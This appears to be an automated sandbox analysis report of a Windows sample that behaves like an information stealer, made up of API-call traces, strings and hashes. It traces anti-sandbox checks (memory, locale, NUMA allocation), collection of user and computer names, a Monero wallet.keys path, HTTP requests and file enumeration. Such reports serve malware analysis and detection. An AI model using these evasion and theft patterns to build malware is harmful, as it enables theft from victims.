Opcode Fuzzy Hash: 14e2577ab4503efef5197481779491e1420f8146ca8f02b7aa7cb7be705484e3
Instruction Fuzzy Hash: A84173B1D04258ABDB11DB94DC45FDEBBB8AB18701F100199F9057B290E7746A48CBA5

Function 003569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2C00), ref: 003598A1
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2AC8), ref: 003598BA
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2A20), ref: 003598D2
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2C18), ref: 003598EA
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2A80), ref: 00359903
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB98D8), ref: 0035991B
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FA5330), ref: 00359933
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FA5510), ref: 0035994C
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2B58), ref: 00359964
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2C30), ref: 0035997C
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2AF8), ref: 00359995
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2978), ref: 003599AD
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FA53D0), ref: 003599C5
Part of subcall function 00359860: GetProcAddress.KERNEL32(74DD0000,00FB2B28), ref: 003599DE

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 003411D0: ExitProcess.KERNEL32 ref: 00341211

Part of subcall function 00341160: GetSystemInfo.KERNEL32(?), ref: 0034116A
Part of subcall function 00341160: ExitProcess.KERNEL32 ref: 0034117E

Part of subcall function 00341110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0034112B
Part of subcall function 00341110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00341132
Part of subcall function 00341110: ExitProcess.KERNEL32 ref: 00341143

Part of subcall function 00341220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0034123E
Part of subcall function 00341220: __aulldiv.LIBCMT ref: 00341258
Part of subcall function 00341220: __aulldiv.LIBCMT ref: 00341266
Part of subcall function 00341220: ExitProcess.KERNEL32 ref: 00341294

Part of subcall function 00356770: GetUserDefaultLangID.KERNEL32 ref: 00356774

Part of subcall function 00341190: ExitProcess.KERNEL32 ref: 003411C6

Part of subcall function 00357850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003411B7), ref: 00357880
Part of subcall function 00357850: RtlAllocateHeap.NTDLL(00000000), ref: 00357887
Part of subcall function 00357850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0035789F

Part of subcall function 003578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00357910
Part of subcall function 003578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00357917
Part of subcall function 003578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0035792F

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00FB9A18,?,0036110C,?,00000000,?,00361110,?,00000000,00360AEF), ref: 00356ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00356AE8
CloseHandle.KERNEL32(00000000), ref: 00356AF9
Sleep.KERNEL32(00001770), ref: 00356B04
CloseHandle.KERNEL32(?,00000000,?,00FB9A18,?,0036110C,?,00000000,?,00361110,?,00000000,00360AEF), ref: 00356B1A
ExitProcess.KERNEL32 ref: 00356B22

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 45ed4b06d99a617b7b83e3421213b0d9395812c9f85d6f73082c9fc652649ca1
Instruction ID: fb08d099a272fc85193b19a40129ac7c8c600d824d8a92146aee17965a2e63c1
Opcode Fuzzy Hash: 45ed4b06d99a617b7b83e3421213b0d9395812c9f85d6f73082c9fc652649ca1
Instruction Fuzzy Hash: 6A313070904608AADB06F7F0DC57FEE7778AF14342F404619F902AA1A1EF70694DE7A2

Function 00341220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0034123E
__aulldiv.LIBCMT ref: 00341258
__aulldiv.LIBCMT ref: 00341266
ExitProcess.KERNEL32 ref: 00341294

Strings

@, xrefs: 00341233

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: eb4062b739788f81ea8bb6a95ee7aa3cb2f2a0cdba3446504afcdd145f4a79e9
Instruction ID: 89616c3a714f514f83bb070e44c8263ae8ea1c813480a7f38f523c4c8cb58eed
Opcode Fuzzy Hash: eb4062b739788f81ea8bb6a95ee7aa3cb2f2a0cdba3446504afcdd145f4a79e9
Instruction Fuzzy Hash: 840162B0D54308BAEB10DBD4DC49B9EB7B8AB14701F208445FB05FA1C0D7B465858B59

Function 00356AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00FB9A18,?,0036110C,?,00000000,?,00361110,?,00000000,00360AEF), ref: 00356ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00356AE8
CloseHandle.KERNEL32(00000000), ref: 00356AF9
Sleep.KERNEL32(00001770), ref: 00356B04
CloseHandle.KERNEL32(?,00000000,?,00FB9A18,?,0036110C,?,00000000,?,00361110,?,00000000,00360AEF), ref: 00356B1A
ExitProcess.KERNEL32 ref: 00356B22

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: ab91cdc0da7125066772b957a35eda6debbdb9cd11996f96f7f3cf7c087761aa
Instruction ID: 7ca6c2cff937c667f464f8121d166fbb90cf78de86f2f577988831ca61fb0437
Opcode Fuzzy Hash: ab91cdc0da7125066772b957a35eda6debbdb9cd11996f96f7f3cf7c087761aa
Instruction Fuzzy Hash: 31F05E70944209ABF702ABA0DC0BFBD7B78EB14702F904515BD03F61E1DBB05548EB66

Function 003447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00344839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00344849

Strings

<, xrefs: 003447C9

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: bffaeb948e0216c56d61e84d6dcca346d5bf8e961cb428d2df80200bdff6d989
Instruction ID: 537ace44f4bd1676352b0421dc7cbf0fbc418c119856fe83136c368f856cae22
Opcode Fuzzy Hash: bffaeb948e0216c56d61e84d6dcca346d5bf8e961cb428d2df80200bdff6d989
Instruction Fuzzy Hash: A3214FB1D00209ABDF14DFA4E845ADE7B74FB44320F108625F915AB2D1EB706A09DF91

Function 003551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 00346280: InternetOpenA.WININET(00360DFE,00000001,00000000,00000000,00000000), ref: 003462E1
Part of subcall function 00346280: StrCmpCA.SHLWAPI(?,00FBE858), ref: 00346303
Part of subcall function 00346280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00346335
Part of subcall function 00346280: HttpOpenRequestA.WININET(00000000,GET,?,00FBE2E0,00000000,00000000,00400100,00000000), ref: 00346385
Part of subcall function 00346280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003463BF
Part of subcall function 00346280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003463D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00355228

Strings

ERROR, xrefs: 00355273
ERROR, xrefs: 0035521A

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 70e2e2e115e026cc112e5be7ae40d7f2528e2b885bc3f20561849b52b5031f70
Instruction ID: 25dc88a6e1770f70b723a7171814f03509e4affc678b48b4256841f97a937995
Opcode Fuzzy Hash: 70e2e2e115e026cc112e5be7ae40d7f2528e2b885bc3f20561849b52b5031f70
Instruction Fuzzy Hash: 82111F30900508A6CB15FF60DD52EED7778AF50301F408654FC1A5E5A2EF306B09E791

Function 003578E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00357910
RtlAllocateHeap.NTDLL(00000000), ref: 00357917
GetComputerNameA.KERNEL32(?,00000104), ref: 0035792F

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: b8b80d4a059a0a86856823d9a5b13344d9debc4e8fdbbf477868ac902d30917d
Instruction ID: 8fe26494bcd6fe7142d658902e07557b935ebeaa651a54b75a60f0d97ba0d8c8
Opcode Fuzzy Hash: b8b80d4a059a0a86856823d9a5b13344d9debc4e8fdbbf477868ac902d30917d
Instruction Fuzzy Hash: AF016DB1A04208EBD710DF98DD45FAAFBB8FB04B22F10421AEE45A2690C37459088BA1

Function 00341110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0034112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00341132
ExitProcess.KERNEL32 ref: 00341143

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 2c5592431f8916741811e0bcb736b516c365f7eacc7d103008f228f3c6f1bcd8
Instruction ID: a8f467ad42c93c1126d2746b8ed9821c7bd4229069f2be097e4aaaf657b2c99d
Opcode Fuzzy Hash: 2c5592431f8916741811e0bcb736b516c365f7eacc7d103008f228f3c6f1bcd8
Instruction Fuzzy Hash: 96E0E670A45348FBF710ABA09C0AB1976B8EB14B41F105055FB09BA1D0D6B53645AB9A

Function 003410A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003410B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003410F7

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 66769a9fd8544d901a5484ec3fffafb11aaea8f856139ba2661dc1d3f54a3681
Instruction ID: 38812c7dca60289d99d36021b221bd454364c06f323ab752fa2003c314e82581
Opcode Fuzzy Hash: 66769a9fd8544d901a5484ec3fffafb11aaea8f856139ba2661dc1d3f54a3681
Instruction Fuzzy Hash: F2F0E271641208BBE7149BA4AC49FAAB7E8E705B15F301448F904E7280E571AE44DBA0

Function 00341190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00357910
Part of subcall function 003578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00357917
Part of subcall function 003578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0035792F

Part of subcall function 00357850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003411B7), ref: 00357880
Part of subcall function 00357850: RtlAllocateHeap.NTDLL(00000000), ref: 00357887
Part of subcall function 00357850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0035789F

ExitProcess.KERNEL32 ref: 003411C6

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 9ff5723d009bd4b120970f87786c61783b28a4049763ebc4665950e9c9fc28b1
Instruction ID: 9ea1172836815cee43c54cda6eb28ffdd35e4a04b16087319b7c52c3344b57fc
Opcode Fuzzy Hash: 9ff5723d009bd4b120970f87786c61783b28a4049763ebc4665950e9c9fc28b1
Instruction Fuzzy Hash: 00E012B591430153DE0173B1BC0BF2A339C5B24347F041425FE05EB122FE29F848966A

Non-executed Functions

Function 003538B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003538CC
FindFirstFileA.KERNEL32(?,?), ref: 003538E3
lstrcat.KERNEL32(?,?), ref: 00353935
StrCmpCA.SHLWAPI(?,00360F70), ref: 00353947
StrCmpCA.SHLWAPI(?,00360F74), ref: 0035395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00353C67
FindClose.KERNEL32(000000FF), ref: 00353C7C

Strings

%s\%s, xrefs: 00353A6F
%s\%s, xrefs: 0035397A
%s%s, xrefs: 00353AAD
%s\*, xrefs: 003538C0
%s\%s\%s, xrefs: 00353A4A

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
